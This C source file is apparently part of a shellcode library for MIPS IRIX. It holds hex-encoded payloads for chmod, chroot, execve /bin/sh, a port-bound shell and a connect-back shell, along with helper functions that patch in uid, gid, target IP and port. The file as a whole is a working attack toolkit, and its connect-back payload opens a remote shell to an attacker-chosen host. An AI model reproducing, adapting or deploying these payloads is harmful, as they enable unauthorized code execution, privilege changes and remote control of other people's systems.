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#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "shellcode.h"
#include "mips.h"
/* tested on: IP20 R4000 6.5
*/
shellcode mips_irix_chmod = {
"mips-irix-chmod",
64,
"\x04\x10\xff\xff\x24\x05\x41\x41\x38\xa5\x55\x55"
/* ^^ ^^ = uid ^ 0x5555 */
"\x24\x06\x42\x42\x38\xc6\x05\x55\x27\xe4\x01\x80"
/* ^^ ^^ = gid ^ 0x5555 */
"\xa0\x80\x00\x00\x24\x84\xfe\xb8\x24\x02\x03\xf8"
/* ^^ ^^ = length of appended pathname + 0xfeb8 */
"\x01\x01\x01\x0c\x24\x05\x09\xed\x24\x02\x03\xf7"
"\x01\x01\x01\x0c\x24\x02\x03\xe9\x01\x01\x01\x0c"
"\x24\x18\x72\xec",
};
/* tested on: IP20 R4000 6.5
*/
shellcode mips_irix_chroot = {
"mips-irix-chroot",
84,
"\x04\x10\xff\xff\x24\x05\x01\xc0\x3c\x0e\x59\x2e"
"\x35\xce\x2c\xff\x21\xce\x01\x01\xaf\xee\xff\xd0"
"\x27\xe4\xff\xd0\x24\x02\x04\x38\x01\x01\x01\x0c"
"\x24\xa2\x02\x65\x01\x01\x01\x0c\x24\x12\x12\x11"
"\x27\xe4\xff\xd1\x24\x02\x03\xf4\x01\x01\x01\x0c"
"\x22\x52\xfe\xff\x06\x41\xff\xfb\x26\x42\x04\x26"
"\x27\xe4\xff\xd2\x01\x01\x01\x0c\x24\x0e\x73\x50",
};
/* tested on: IP20 R4000 6.5
*/
shellcode mips_irix_connectsh = {
"mips-irix-connectsh",
172,
"\x24\x16\x73\x50\x26\xc4\x8c\xb2\x26\xc5\x8c\xb2"
"\x26\xc6\x8c\xb6\x24\x02\x04\x53\x01\x01\x01\x0c"
"\x30\x44\xff\xff\x26\xce\x8c\xb2\xa7\xae\xff\xf0"
"\x24\x0e\x41\x41\xa7\xae\xff\xf2\x3c\x0e\x41\x42"
/* ^^ ^^ port */ /* ^^ ^^ ip 1.2. */
"\x35\xce\x43\x44\xaf\xae\xff\xf4\xaf\xa0\xff\xf8"
/* ^^ ^^ ip .3.4 */
"\xaf\xa0\xff\xfc\x26\xc6\x8c\xc0\x03\xa6\x28\x23"
"\x24\x02\x04\x43\x01\x01\x01\x0c\x26\xd3\xbc\xe2"
"\x30\x97\xff\xff\x32\x64\x01\x03\x24\x02\x03\xee"
"\x01\x01\x01\x0c\x32\xe4\xff\xff\x28\x05\xff\xff"
"\x32\x66\x01\x03\x24\x02\x04\x26\x01\x01\x01\x0c"
"\x26\x73\xef\xef\x06\x61\xff\xf6\xaf\xa0\xff\xfc"
"\x04\x10\xff\xff\x27\xa5\xff\xf8\x27\xff\x01\x20"
"\x23\xe4\xfe\xf8\xa3\xe0\xfe\xff\xaf\xa4\xff\xf8"
"\x24\x02\x04\x23\x01\x01\x01\x0c"
"\x2f\x62\x69\x6e\x2f\x73\x68\x42", /* "/bin/sh\x42" */
};
/* tested on: IP20 R4000 6.5
*/
shellcode mips_irix_execvesh = {
"mips-irix-execvesh",
48,
"\xaf\xa0\xff\xfc\x04\x10\xff\xff\x8f\xa6\xff\xfc"
"\x27\xff\x01\x24\x23\xe4\xfe\xf8\xa3\xe0\xfe\xff"
"\xaf\xa4\xff\xf8\x27\xa5\xff\xf8\x24\x02\x04\x23"
"\x01\x01\x01\x0c"
"\x2f\x62\x69\x6e\x2f\x73\x68\x42", /* "/bin/sh\x42" */
};
shellcode mips_irix_exit = {
"mips-irix-exit",
16,
"\x28\x04\xff\xff\x24\x02\x03\xe9\x01\x01\x01\x0c"
"\x24\x18\x73\x50",
};
/* tested on: IP20 R4000 6.5
* IP30 R10000 6.5.7m (thanks oxigen ;)
*/
shellcode mips_irix_portshellsh = {
"mips-irix-portshellsh",
188, /* yay! well optimized */
"\x24\x16\x73\x50\x26\xc4\x8c\xb2\x26\xc5\x8c\xb2"
"\x26\xc6\x8c\xb6\x24\x02\x04\x53\x01\x01\x01\x0c"
"\x30\x44\xff\xff\x26\xce\x8c\xb2\xa7\xae\xff\xf0"
"\x24\x0e\x41\x41\xa7\xae\xff\xf2\xaf\xa0\xff\xf4" /* 0x4141 = port */
"\xaf\xa0\xff\xf8\xaf\xa0\xff\xfc\x26\xc6\x8c\xc0"
"\x03\xa6\x28\x23\x24\x02\x04\x42\x01\x01\x01\x0c"
"\x24\x02\x04\x48\x01\x01\x01\x0c\xaf\xa6\xff\xec"
"\x27\xa6\xff\xec\x24\x02\x04\x41\x01\x01\x01\x0c"
"\x26\xd3\xbc\xe2\x30\x57\xff\xff\x32\x64\x01\x03"
"\x24\x02\x03\xee\x01\x01\x01\x0c\x32\xe4\xff\xff"
"\x28\x05\xff\xff\x32\x66\x01\x03\x24\x02\x04\x26"
"\x01\x01\x01\x0c\x26\x73\xef\xef\x06\x61\xff\xf6"
"\xaf\xa0\xff\xfc\x04\x10\xff\xff\x27\xa5\xff\xf8"
"\x27\xff\x01\x20\x23\xe4\xfe\xf8\xa3\xe0\xfe\xff"
"\xaf\xa4\xff\xf8\x24\x02\x04\x23\x01\x01\x01\x0c"
"\x2f\x62\x69\x6e\x2f\x73\x68\x42", /* "/bin/sh\x42" */
};
/* tested on: IP20 R4000 6.5
*/
shellcode mips_irix_read = {
"mips-irix-read",
56,
"\x04\x10\xff\xff\x28\x04\xff\xff\x27\xff\x01\x31"
"\x27\xe5\xfe\xff\x24\x06\x10\x10\x24\x02\x03\xeb"
"\x01\x01\x01\x0c\x27\xe4\xfe\xff\x24\x05\x10\x10"
"\x24\x0e\xff\xfc\x01\xc0\x30\x27\x24\x02\x04\x7f"
"\x01\x01\x01\x0c\x24\x18\x73\x50",
};
shellcode mips_irix_setgid = {
"mips-irix-setgid",
16,
"\x24\x04\x41\x41\x38\x84\x55\x55\x24\x02\x04\x16" /* 0x4141 = gid ^ 0x5555 */
"\x01\x01\x01\x0c",
};
shellcode mips_irix_setreuid = {
"mips-irix-setreuid",
24,
"\x24\x04\x41\x41\x24\x05\x42\x42\x38\x84\x55\x55"
/* ^^^^^^ ruid ^^^^^^ euid, both xor 0x5555 */
"\x38\xa5\x55\x55\x24\x02\x04\x64\x01\x01\x01\x0c",
};
shellcode * mips_irix_shellcodes[] = {
&mips_irix_chmod,
&mips_irix_chroot,
&mips_irix_connectsh,
&mips_irix_execvesh,
&mips_irix_exit,
&mips_irix_portshellsh,
&mips_irix_read,
&mips_irix_setgid,
&mips_irix_setreuid,
NULL,
};
arch mips_irix = {
"mips-irix",
4,
mips_nop,
mips_irix_shellcodes,
};
/* set the uid, gid and pathname of the mips-irix-chmod code at `code'
* XXX: be sure to have strlen(pathname) bytes left after code
*/
void
mips_irix_chmod_setup (unsigned char *code, char *pathname,
unsigned short int uid, unsigned short int gid)
{
unsigned short int len = 0xfeb8;
uid ^= 0x5555;
code[6] = (uid >> 8) & 0xff;
code[7] = uid & 0xff;
gid ^= 0x5555;
code[14] = (gid >> 8) & 0xff;
code[15] = gid & 0xff;
len += strlen (pathname);
code[26] = (len >> 8) & 0xff;
code[27] = len & 0xff;
memcpy (code + 64, pathname, strlen (pathname));
return;
}
/* ip and port in network byte order
*/
void
mips_irix_connectsh_setup (unsigned char *code,
unsigned long int ip, unsigned short int port)
{
code[38] = (port >> 8) & 0xff;
code[39] = port & 0xff;
code[46] = (ip >> 24) & 0xff;
code[47] = (ip >> 16) & 0xff;
code[50] = (ip >> 8) & 0xff;
code[51] = ip & 0xff;
return;
}
/* set the gid within the 'mips-irix-setgid' code at `code'
*/
void
mips_irix_setgid_setup (unsigned char *code, unsigned short int gid)
{
gid ^= 0x5555;
code[2] = (gid >> 8) & 0xff;
code[3] = gid & 0xff;
return;
}
void
mips_irix_setreuid_setup (unsigned char *code,
unsigned short int ruid, unsigned short int euid)
{
ruid ^= 0x5555;
code[2] = (ruid >> 8) & 0xff;
code[3] = ruid & 0xff;
euid ^= 0x5555;
code[6] = (euid >> 8) & 0xff;
code[7] = euid & 0xff;
return;
}
|
